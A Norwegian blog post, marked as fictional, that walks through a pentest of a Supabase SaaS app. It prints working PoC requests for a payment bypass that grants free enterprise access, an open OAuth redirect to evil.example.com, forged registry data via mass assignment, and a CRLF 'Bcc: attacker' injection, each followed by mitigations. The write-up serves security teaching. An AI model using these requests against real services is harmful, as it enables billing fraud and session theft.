Hopp til hovedinnhold
Erik Nilsen
11 min lesingVis som Markdown

Fakturaen som aldri ble betalt — billing-bypass i en Supabase edge function

  • #pentest
  • #supabase
  • #billing-bypass
  • #oauth
  • #security
  • #ai

FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.

Brunost AS (brunostas.no) kjører en SaaS som gir bedrifter en poengsum basert på Brønnøysund-registerdata og regnskapsintegrasjoner. Backend er Supabase — PostgREST, GoTrue-auth, edge functions. Frontend er en Next.js-SPA på Vercel. Oppdraget var en ekstern pentest av hele stakken, og det funnet som satte tonen var ikke et minnekorruption eller en injeksjon — det var en edge function som aksepterte paymentMethod: "invoice" og ga deg et aktiv enterprise-abonnement uten å betale en krone.

Det funnet er High, og det er det jeg vil vise helt ut: forutsetninger, den eksakte forespørselen, responsen, den negative kontrollen, og hva det låste opp av andre funn. I tillegg kommer to funn som ble mer interessante fordi billing-bypassen eksisterte.

Kontekst

Scope var brunostas.no (web, auth, Supabase BaaS) og et relatert domene. To kontrollerte testkontoer ble registrert og verifisert — Bruker A og Bruker B, i hver sin tenant. Jeg kjører slike oppdrag med AI i loopen: agenter gjør recon, kartlegger endepunkter, skriver og kjører scripts, og jeg styrer scope, prioriterer, verifiserer og tar de vurderingene som krever menneskedømmekraft.

Første steg var å la en agent hente den offentlige anon-nøkkelen fra SPA-bundlen, kartlegge GoTrue-settings, enumerere PostgREST-tabeller og edge functions. AI-en spytter ut et overflatedekke raskt — verdien ligger i å skille ekte hull fra støy, og det er der jeg bruker tiden.

F-01: Gratis enterprise via create-checkout

Hva jeg fant

Edge function create-checkout tar en JSON-body med plan, interval, paymentMethod, companyId og et invoice-objekt. Når paymentMethod er "invoice", returnerer den {"invoicePending":true} og oppretter en rad i subscriptions med plan=enterprise, status=active, invoice_status=pending. Ingen betaling behandles. Kontoen behandles som et aktivt enterprise-abonnement.

Dette er samme klasse feil som RLS-posten om abonnementsplanen — tilstanden som bestemmer tilgang ligger i en brukerskrivbar rad — men mekanismen er annerledes: her er det en edge function som gjør jobben, ikke en direkte PostgREST-PATCH.

PoC / Reproduksjon

Forutsetninger: innlogget som Bruker A (verifisert e-post, gyldig JWT), companyId tilhører A. anon-nøkkelen er offentlig og ligger i front-end-bundlen.

  1. Hent anon-nøkkelen fra SPA-bundlen (AI-en fant den i en minified JS-chunk).

  2. Logg inn og hent et access token:

curl -s -X POST "https://auth.brunostas.no/auth/v1/token?grant_type=password" \
  -H "apikey: <ANON>" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"<REDACTED>"}'
  1. Send checkout-forespørselen med paymentMethod: "invoice":
POST /functions/v1/create-checkout HTTP/1.1
Host: brunost.supabase.co
apikey: <ANON>
Authorization: Bearer <REDACTED>
Content-Type: application/json
 
{
  "plan": "enterprise",
  "interval": "year",
  "paymentMethod": "invoice",
  "companyId": "11111111-1111-4111-8111-111111111111",
  "invoice": {
    "companyName": "POC-BILLING-BYPASS",
    "orgNumber": "999999999",
    "email": "[email protected]",
    "address": "Testveien 1"
  }
}
HTTP/1.1 200 OK
Content-Type: application/json
 
{"invoicePending":true}
  1. Verifiser at abonnementet er aktivt:
GET /rest/v1/subscriptions?select=plan,status,invoice_status,payment_method&order=created_at.desc&limit=1 HTTP/1.1
Host: brunost.supabase.co
apikey: <ANON>
Authorization: Bearer <REDACTED>
[{"plan":"enterprise","status":"active","invoice_status":"pending","payment_method":"invoice"}]

status=active er poenget. Abonnementet er ikke pending eller trial — det er aktivt enterprise, og enterprise-gatede funksjoner låses opp.

  1. Negativ kontroll — send samme forespørsel med paymentMethod: "card" (forventet: en Stripe checkout-URL, ikke et aktivt abonnement):
{"url":"https://checkout.stripe.com/c/pay/cs_test_abc123..."}

Med card returneres en Stripe checkout-URL og ingen subscriptions-rad opprettes før betalingen er gjennomført. Med invoice opprettes raden umiddelbart. Det er forskjellen: invoice-stien stoler på en klientpåstand om at fakturaen kommer til å bli betalt, i stedet for å vente på bekreftelse.

Denne PoC-en oppretter et ekte Stripe-fakturaobjekt. Jeg kjørte den én gang mot min egen testkonto og ryddet opp etterpå. Ikke kjør den i en løkke eller mot ekte kundedata.

Mitigering

Ikke sett status=active før fakturaen faktisk er betalt. Lytt på invoice.paid eller payment_intent.succeeded fra Stripe-webhooken og oppdater subscriptions-raden først da. Alternativt: krev manuell godkjenning eller Stripe-fakturafinalisering før enterprise-tilgang provisjoneres.

- const { data, error } = await supabase
-   .from('subscriptions')
-   .insert({ plan, status: 'active', invoice_status: 'pending' })
+ // Don't provision until Stripe webhook confirms payment
+ const { data, error } = await supabase
+   .from('subscriptions')
+   .insert({ plan, status: 'pending', invoice_status: 'pending' })

F-03: OAuth redirect_to uten allow-list

Hva jeg fant

GoTrue sin /auth/v1/authorize-endpoint reflekterer redirect_to-parameteren ukritisk inn i providerens OAuth-URL. Test med https://evil.example, //evil.example og https://[email protected] — alle ble reflektert i Location-headeren.

Feilveier (avbrutt OAuth, feil credentials) baker riktig til www.brunostas.no. Suksessveien kunne jeg ikke teste uten en ekte Google/LinkedIn-konto, men den ukritiske refleksjonen er bekreftet.

Dette er samme klasse funn som dukket opp i kontaktskjema-posten og i WordPress/e-post-posten: uvalidert redirect kombinert med manglende e-postautentisering (SPF, DKIM, DMARC p=nonebrunostas.no) gir en realistisk phishing-kjede.

PoC

curl -s -D - -o /dev/null \
  -G "https://auth.brunostas.no/auth/v1/authorize" \
  -H "apikey: <ANON>" \
  --data-urlencode "provider=google" \
  --data-urlencode "redirect_to=https://evil.example.com/steal" \
  | grep -i "^location:"
location: https://accounts.google.com/o/oauth2/v2/auth?...redirect_to=https://evil.example.com/steal...

redirect_to sitter ukodet i providerens autoriserings-URL. GoTrue kan validere — feilveien (avbrutt OAuth, feil credentials) baker riktig til www.brunostas.no:

curl -s -D - -o /dev/null \
  -G "https://auth.brunostas.no/auth/v1/authorize" \
  -H "apikey: <ANON>" \
  --data-urlencode "provider=google" \
  --data-urlencode "redirect_to=https://evil.example.com/steal" \
  --data-urlencode "code_challenge=invalid" \
  | grep -i "^location:"
location: https://www.brunostas.no/?error=...

Så validatoren finns. Den trigges bare ikke på suksessveien. Det er det som gjør funnet troverdig: koden for å avvise uvaliderte redirects er der, den kjører bare på feilpathen.

Hvis callbacken på suksessveien også bruker redirect_to, kan en phishing-e-post (levert fra en forfalsket @brunostas.no-adresse — SPF, DKIM og DMARC p=none var alle fraværende) sende offeret til angriperen med sesjonen i URL-fragmentet. Jeg kunne ikke bekrefte suksessveien uten en ekte Google/LinkedIn-konto, men refleksjonen er bekreftet.

Mitigering

Allow-list redirect_to til registrerte callback-URLer. Implementer SPF, DKIM og DMARC p=rejectbrunostas.no. High — suksessveien er ikke bekreftet utnyttet, men refleksjonen pluss manglende e-postautentisering gjør kjeden troverdig.

F-04: Mass-assignment av Brønnøysund-metadata

Hva jeg fant

PostgREST-PATCH på companies og user_profiles aksepterer endring av server-kontrollerte kolonner. På companies: brreg_synced_at, brreg_checked_at, brreg_raw, created_at, updated_at. På user_profiles: first_name, last_name, onboarding_completed_at, last_active_at.

brreg_raw er det mest interessante: det er det rå responsobjektet fra Brønnøysund-registeret, som appen bruker til å beregne poengsum og vise "registerverifisert"-status. En angriper kan forfalske dette til å se ut som om selskapet har spesifikke registeregenskaper.

Dette ble mer interessant fordi billing-bypassen ga enterprise-tilgang, som igjen låser opp integrasjons-synk-funksjoner som forbruker disse dataene.

PoC

PATCH /rest/v1/companies?id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1
Host: brunost.supabase.co
apikey: <ANON>
Authorization: Bearer <REDACTED>
Content-Type: application/json
Prefer: return=representation
 
{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}
[{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}]

Radene oppdateres og returneres. brreg_raw kan settes til et vilkårlig JSON-objekt — det er det Brønnøysund-responsen normalt sett lagres som, og det er det appen leser for å beregne poengsum og vise "registerverifisert". En angriper kan altså forfalske hele registergrunnlaget for sin egen bedrift: konkurstatus, VAT-registrering, under avvikling — alle feltene appen stoler på for scoring.

Negativ kontroll — prøv å sette role='admin'user_profiles:

PATCH /rest/v1/user_profiles?user_id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1
Authorization: Bearer <REDACTED>
 
{"role":"admin"}
HTTP/1.1 403 Forbidden

RLS-policyen for role-kolonnen holder. Det er de andre kolonnene som er åpne — og role er den eneste som har en WITH CHECK-policy. Det er mønsteret: én kolonne beskyttet, resten glemt.

Mitigering

Fjern server-kontrollerte kolonner fra PostgREST sin UPDATE-grant. Bruk WITH CHECK-policies som avviser endringer av brreg_*, created_at, updated_at, source. Bruk DEFAULT now() og triggers for tidsstempler.

Medium — tilliten til registerdata undergraves, men det krever en innlogget bruker og påvirker bare egne data.

F-02: Regresjonen som kom tilbake

Under runde 6 av testingen fant jeg at RLS INSERT-policyen på financials og integrations hadde regressert: Bruker A kunne sette inn rader med company_id tilhørende Bruker B. Det var et klassisk cross-tenant-brudd — High i sin egen rett, spesielt fordi synk-funksjonene forbruker disse radene.

Jeg rapporterte det. Det ble fikset. Så i en senere syklus testet jeg på nytt — og det var åpent igjen. Regresjon. Rapportert på nytt. Fikset.

På den endelige retesten (siste dagen av oppdraget) sendte jeg INSERT-forespørselen en gang til:

POST /rest/v1/financials HTTP/1.1
Host: brunost.supabase.co
Authorization: Bearer <REDACTED>
Content-Type: application/json
 
{"company_id":"22222222-2222-4222-8222-222222222222","cash":12345,"source":"fiken_sync"}
{"code":"42501","message":"new row violates row-level security policy for table \"financials\""}

403. Den holdt. Men det at den brøt to ganger i løpet av oppdraget er et signal: RLS-policyer er skjøre, og det finnes ingen CI-regresjonstest som fanger opp at en INSERT-policy blir reversert.

Dette er nøyaktig det cross-tenant-posten fra juli handler om — forskjellen er at her brøt den faktisk, to ganger, før den holdt. Legg til en CI-test som kjører cross-tenant INSERT på financials og integrations ved hver deploy.

F-05: CRLF i fakturafeltene

invoice.companyName og invoice.address i create-checkout aksepterer literal \r\n. Bytene lagres i subscriptions.invoice_company_name og invoice_address og videresendes til Stripe sin faktura-API.

printf 'POC-CRLF\r\nBcc: [email protected]' | xxd | head -2
# 00000000: 504f 432d 4352 4c46 0d0a 4263 636f ...

invoice.email er validert og avviser CRLF — så valideringen finns, den er bare ikke påfelt på companyName og address. Bekreftelse med en hex-dump av den lagrede verdien i subscriptions-tabellen:

curl -s -G "https://brunost.supabase.co/rest/v1/subscriptions" \
  -H "apikey: <ANON>" \
  -H "Authorization: Bearer <REDACTED>" \
  --data-urlencode "select=invoice_company_name" \
  --data-urlencode "order=created_at.desc&limit=1" \
  | jq -r '.[0].invoice_company_name' | xxd | head -3
00000000: 504f 432d 4352 4c46 0d0a 4263 636f 3a20  POC-CRLF..Bcc:
00000010: 6174 7461 636b 6572 4065 6d61 6c75 7065  attacker@emalupe
00000020: 2e63 6f6d                                .com

0d0a (CRLF) sitter i den lagrede verdien og videresendes til Stripe sin faktura-API. Medium — potensiell log/CSV-splitting eller Stripe e-post-header-manipulering, men jeg beviste ingen nedstrøms-sink utover at bytene lagres og videresendes.

Blindveier og falske positiver

Ikke alt som så ut som et funn overlevde verifisering. Noen eksempler:

  • admin-list edge function returnerte 403 for alle ikke-admin brukere. AI-en flagget den som en potensiell BFLA, men RLS-policyen for user_profiles.role holdt — PATCH role='admin' ble avvist. Det var ikke et funn, det var en vellykket forsvarslinje.
  • nango-connect og shared-scores edge functions forsvant midt i oppdraget (begge returnerte 404). De hadde vært flagget i tidligere runder. Enten ble de fjernet eller flyttet — uansett var de ikke lenger angripbare.
  • Cross-tenant SELECT ble aldje åpnet. RLS-policyen for lesing holdt hele veien. AI-en prøvde flere varianter (kolonne-probing, schema-bouncing, RPC-omveier) — alle blokkert. Det er en negativ kontroll på systemnivå: lese-isolasjonen var solid, selv når skrive-isolasjonen brøt.

Verktøy og hvem som kjørte hva

  • Recon og overflatekartlegging: AI-agenter hentet anon-nøkkelen fra SPA-bundlen, kartla GoTrue-settings, enumererte PostgREST-tabeller og edge functions. Jeg satte scope og verifiserte funn.
  • PostgREST-testing: AI-genererte curl-scripts for INSERT/PATCH/DELETE på alle tilgjengelige tabeller, kjørt i parallelle lanes mot to testkontoer. Jeg brøt inn for å verifisere cross-tenant-funn med en uavhengig andre konto.
  • Billing-bypass: AI-en identifiserte paymentMethod: "invoice"-stien fra edge function-koden i bundlen. Jeg verifiserte med en manuell curl og sjekket subscriptions-tabellen.
  • OAuth redirect: enkel curl mot /auth/v1/authorize med redirect_to. AI-en genererte test-payloads; jeg verifiserte at feilveien baker riktig.
  • CRLF: AI-generert script med printf '\r\n' i JSON-body, bekreftet med xxd av lagret verdi.
  • Retest: alle funn ble retestet på siste dag med ferske tokens. Cross-tenant INSERT holdt (403), billing-bypass holdt (200), mass-assignment holdt (200).

Hva jeg lærte

  • Edge functions som provisjonerer tilgang før bekreftelse er den nye RLS-feilen. En edge function som stoler på en klientpåstand (paymentMethod: "invoice") er like farlig som en RLS-policy som glemmer WITH CHECK — kanskje mer, fordi den er vanskeligere å se.
  • Billing-bypass forsterker alt annet. Gratis enterprise låste opp integrasjonssynk, som forbruker financials og integrations-rader, som (i regresjonsperioden) kunne settes inn cross-tenant. Et medium-funn ble en kjede.
  • RLS-regresjoner er et CI-problem. At en INSERT-policy brøt to ganger i løpet av et oppdrag betyr at ingenting fanger opp at den reverseres. En 10-linjers test som kjører cross-tenant INSERT ved hver deploy hadde stoppet begge regresjonene.
  • Én kolonne med WITH CHECK er ikke nok. user_profiles.role var beskyttet; brreg_raw, created_at, updated_at var ikke. Mønsteret er at den åpenbare sensitive kolonnen får en policy, og de subtile server-kontrollerte feltene glemmes.
  • Suksessveien i OAuth er den vanskelige å teste. Feilveien baker riktig. Suksessveien krever en ekte provider-konto, og uten den kan jeg bekrefte refleksjonen men ikke utnyttelsen. Det er ærlig å si det, og det er forskjellen mellom High og Medium.
  • Validering som finnes på ett felt og ikke et annet er et mønster. invoice.email avviste CRLF; invoice.companyName og invoice.address aksepterte det. user_profiles.role hadde WITH CHECK; brreg_raw hadde det ikke. Når du finner én kolonne beskyttet og naboen ikke, test alle feltene i samme tabell — det er sjelden bare én som mangler.

Veien videre

Hvis jeg skulle gjort noe annerledes: jeg ville registrert en ekte Google-konto tidligere i oppdraget for å teste OAuth-suksessveien. Det er det eneste funnet der jeg måtte stoppe ved "refleksjon bekreftet, utnyttelse ikke bekreftet" — og det er en viktig forskjell i alvorlighetsgrad.

Neste gang jeg tester en Supabase-app vil jeg også lete etter edge functions som provisjonerer tilstand før en webhook bekrefter det. Det er den klassen feil som RLS-testing alene ikke fanger.